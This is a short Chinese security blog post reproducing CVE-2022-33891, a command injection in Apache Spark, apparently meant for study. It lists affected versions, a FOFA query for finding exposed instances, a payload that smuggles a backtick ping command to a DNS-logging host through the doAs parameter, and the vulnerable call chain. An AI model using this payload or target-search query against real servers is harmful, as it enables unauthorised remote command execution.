---------------------
欢迎关注公众号：虚拟尽头
几天前看到360漏洞云发了个Spark的通告，当时想着没见过apache的这种系统，就想着复现一下，然后过了两天看到且听安全发了漏洞的详情分析
CVE-2022-33891 Apache Spark shell 命令注入漏洞
于是就想着来复现一下这个漏洞
01
影响版本以及FOFA语句
3.0.33.1.1 to 3.1.23.2.0 to 3.2.1app="APACHE-Spark" && body="3.0.3"
影响的版本范围并不多。
02
复现
payload：/jobs/?doAs=`ping dnslog.com`
03
调用流程
hrep.getParameter("doAs")checkUIViewPermissionsisUserInACLgetCurrentUserGroupsgroupMappingServiceProvider.getGroupsgetUnixGroupsexecuteAndGetOutputexecuteCommand
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，文章作者不为此承担任何责任。
师傅们，聊天框发送"二维码"，加我好友一起交流呀(加的时候请备注来自公众号)。
原文始发于微信公众号（虚拟尽头）：Apache Spark(CVE-2022-33891)复现
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论